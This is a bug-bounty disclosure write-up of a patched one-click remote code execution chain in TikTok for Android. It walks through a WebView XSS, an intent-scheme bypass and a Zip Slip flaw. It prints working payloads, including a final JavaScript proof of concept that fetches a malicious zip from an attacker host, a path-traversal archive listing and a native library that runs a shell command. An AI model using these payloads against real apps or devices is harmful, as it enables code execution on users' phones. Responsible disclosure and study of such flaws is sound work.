TikTok for Android 1-Click RCE

TikTok for Android 1-Click RCE

Original text by Sayed Abdelhafiz

TL;DR

While testing TikTok for Android Application, I identified multiple bugs that can be chained to achieve Remote code execution that can be triaged through multiple dangerous attack vectors. In this write-up, we will discuss every bug and chain altogether. I worked on it for about 21-day, a long time. The final exploit was simple. The long time I spent in this exploit got me incredible experience and an important trick that helped me a lot in the exploit. TikTok implemented a fix to address the bugs identified, and it was retested to confirm the resolution.

Bugs

  1. Universal XSS on TikTok WebView
  2. Another XSS on AddWikiActivity
  3. Start Arbitrary Components
  4. Zip Slip in 
    TmaTestActivity
  5. RCE!

Universal XSS on TikTok WebView

TikTok uses a specific WebView that can be invoked by deep-link, Inbox Messages. The WebView handle something called falcon links by grabbing it from the internal files instead of fetching it from their server every time the user uses it to increase the performance.

For performance measuring purposes, after finishing loading the page. The following function will get executed:

this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);

The first idea got on my mind is injecting XSS Payload in the URL to escape the function call and execute my malicious code.

I tried the following link 

<a href="https://m.tiktok.com/falcon/?%27),alert(1));//">https://m.tiktok.com/falcon/?'),alert(1));//</a>

Unfortunately, It didn’t work. I write a Frida script to hook 

android.webkit.WebView.evaluateJavascript
 Method to see what happens?

I found the following string is passed to the method:

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))

The payload is getting encoded because It was in the query string segment. So I decided to put the payload in the fragment segment After #

https://m.tiktok.com/falcon/#'),alert(1));//
 will fire the following line:

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

Now, It’s done! We have Universal XSS in that WebView.

Notice: It’s Universal XSS because that javascript code is fired if the link contains something like: 

m.tiktok.com/falcon/
.

For example, https://www.google.com/m.tiktok.com/falcon/ will fire this XSS too.

Digging

After find this XSS, I started digging in that WebView to see how It can be harmful.

First, I set up my lab to make it easy for my testing. I have enabled WebViewDebug module to debug the WebView from my dev-tools in google chrome. You find the module here: https://github.com/feix760/WebViewDebugHook

I found that WebView supports the 

intent
 scheme. This scheme can make you able to build a customize intent and launch it as an activity. It’s helpful to avoid the export setting of the non-exported activities and maximize the testing scope.

Read the following paper for more information about this intent and how to implents: https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

I tried to execute the following javascript code to open 

com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity
 Activity:

location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"

But I didn’t notice any effect of executing that javascript. I back to the WebViewClient to see what was happening. And the following code came:

boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
v8.i = false;
v4 = true;
}
else {
v4 = v0_7;
}

This code restricts the 

intent
 scheme to takes effect unless the user has just clicked anywhere. Bad! I don’t prefer 2-click exploits. I saved it in my note and continue my digging trip.

ToutiaoJSBridge, It’s a bridge implemented in the WebView. It has many fruit functions, one of them was 

openSchema
 that used to open internal deep-links. There a deep link called 
aweme://wiki
 It used to open URLs on 
AddWikiActivity
 WebView.

Another XSS on AddWikiActivity

AddWikiActivity
 Implementing URL validation to make sure that no black URL would be opened in it. But the validation was in 
http
 or 
https
 schemes only. Because they think that any other scheme is invalid and don’t need to validate:

if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}

Pretty cool, If the validation is not on the 

javascript
 scheme. We can use that scheme to perform XSS attacks on that WebView too!

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));

&lt;h1&gt;PoC&lt;/h1&gt;
 got printed on the WebView

Start Arbitrary Components

The good news is 

AddWikiActivity
 WebView supports the the 
intent
 scheme too without any restriction but if 
disable_app_link
 parameter was set to 
false
. Easy man!

if the following code got execute in 

AddWikiActivity
 The 
UserFavoritesActivity
 will get invoked:

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")

Zip Slip in TmaTestActivity

Now, we can open any activity and pass any extras to it. I found an activity called 

TmaTestActivity
 in a split package called 
split_df_miniapp.apk
.

Notice: the splits packages don’t attach in the APK. It got downloaded after the first launch of the application by google play core. You can find those package by: 

adb shell pm path {package_name}

In a nutshell, 

TmaTestActivity
 was used to update the SDK by downloading a zip from the internet and extract it.

Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(m.a(v0, "sdkUpdate")) {
m.a(v5, "testUri");
this.updateJssdk(arg4, v5, arg6);
return;
}

To Invoke the update process we have to set 

action
 parameter to 
sdkUpdate
.

private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
BundleHandlerParam v0_1 = new BundleHandlerParam();
v6_1.setInitialParam(arg5, v0_1);
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
v6_1.setNextHandler(((BaseBundleHandler)v5));
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
v5.setNextHandler(((BaseBundleHandler)v6_2));
}

It collects the SDK updating information from the parameters, then invoke 

DownloadBaseBundleHandler
 instance, then set the next handler to 
ResolveDownloadHandler
, then 
SetCurrentProcessBundleVersionHandler

Let’s start with 

DownloadBaseBundleHandler
. It checks 
sdkUpdateVersion
 parameter to see if it was newer than the current one or not. We can set the value to 99.99.99 to avoid this check, then starting the download:

public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
.....
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
.....
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
.....
this.startDownload(v9, v10, arg15, v0, v8);
.....

In 

startDownload
 Method, I found that:

v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);

v2.a
 is the download path. It gets the application context from 
AppbrandContext
 and it must have an Instance. Unfortunately, the application didn’t init this instance all time. But I told you that I spent 21-day on this exploit, yeah!? It was enough for me to gain extensive knowledge about the application workflow. And yes! I saw somewhere this instance getting inited.

Invoking the 

preloadMiniApp
 function through 
ToutiaoJSBridge
 was able to init the instance for me! It was easy for me! Digging on every function on this bridge, even It doesn’t look helpful for me for the first time, but it became useful in this situation ;).

v2.b
 is the md5sum of the downloading file. It gets from the filename itself:

private String getMd5FromUrl(String arg3) {
return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
}

The filename must look like: 

anything_{md5sum_of_file}.zip
 because the md5sum will be compared with the file md5sum after downloading:

public void onDownloadSuccess(ad arg11) {
super.onDownloadSuccess(arg11);
File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);
long v6 = this.val$beginDownloadTime.getMillisAfterStart();
if(!v11.exists()) {
this.val$baseBundleEvent.appendLog("remote basebundle download fail");
this.val$param.isLastTaskSuccess = false;
this.val$baseBundleEvent.appendLog("remote basebundle not exist");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
}
else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {
this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");
this.val$param.isLastTaskSuccess = true;
this.val$param.targetZipFile = v11;
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);
}
else {
this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
this.val$param.isLastTaskSuccess = false;
}

After download processing finished, the file gets passed to 

ResolveDownloadHandler
, to unzip It:

public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
BaseBundleEvent v0 = arg14.baseBundleEvent;
if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
long v10;
boolean v4;
Class v0 = BaseBundleFileManager.class;
synchronized(v0) {
boolean v1 = arg9.exists();
}
if(!v1) {
return 0L;
}
try {
File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);
arg12.appendLog("start unzip" + arg10);
BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
try {
arg2.appendLog("unzip" + arg3);
IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
}
......
}public static void unZipFolder(String arg1, String arg2) throws Exception {
IOUtils.a(new FileInputStream(arg1), arg2, false);
}private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
ZipInputStream v0 = new ZipInputStream(arg5);
while(true) {
label_2:
ZipEntry v5 = v0.getNextEntry();
if(v5 == null) {
break;
}
String v1 = v5.getName();
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
goto label_2;
}
if(v5.isDirectory()) {
new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
goto label_2;
}
File v5_1 = new File(arg6 + File.separator + v1);
if(!v5_1.getParentFile().exists()) {
v5_1.getParentFile().mkdirs();
}
v5_1.createNewFile();
FileOutputStream v1_1 = new FileOutputStream(v5_1);
byte[] v5_2 = new byte[0x400];
while(true) {
int v3 = v0.read(v5_2);
if(v3 == -1) {
break;
}
v1_1.write(v5_2, 0, v3);
v1_1.flush();
}
v1_1.close();
}
v0.close();
}

In the last method called to unzip the file, there is a check for path traversal, but because 

arg7
 value is 
false
, the check won’t happen! Perfect!!

It makes us able to exploit ZIP Slip and overwrite some delicious files.

Time for RCE!

I created a zip file and path traversed the filename to overwrite 

/data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
 file:

dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)

Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)

Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

--
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930

Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 5896 1496 1 files

Now we can overwrite native-libraries with a malicious library to execute our code. It won’t be executed unless the user relaunches the Application. I found a way to reload that library without relaunch by launching 

com.tt.miniapphost.placeholder.MiniappTabActivity0
 Activity.

Final PoC:

document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
window.name = "finished";
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "preloadMiniApp",
"__msg_type": "callback",
"params": {
"mini_app_url": "https://microapp/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
})); // initialize Mini App
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
setTimeout(function() {
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // load the malicious library after overwrtting it.
}, 5000);
}

Malicious library code:

#include <jni.h>
#include <string>
#include <stdlib.h>


JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
system("id > /data/data/com.zhiliaoapp.musically/PoC");
return JNI_VERSION_1_6;
}

TikTok Fixing!

TikTok Security implemented an excellent and responsible fix to address those vulnerabilities in a timely manner. The following actions were taken:

  1. The vulnerable XSS code has been deleted.
  2. TmaTestActivity
     has been deleted.
  3. Implement restrictions to intent scheme that doesn’t allow an intent for TikTok Application on AddWikiActivity and Main WebViewActivity.

Have a nice day!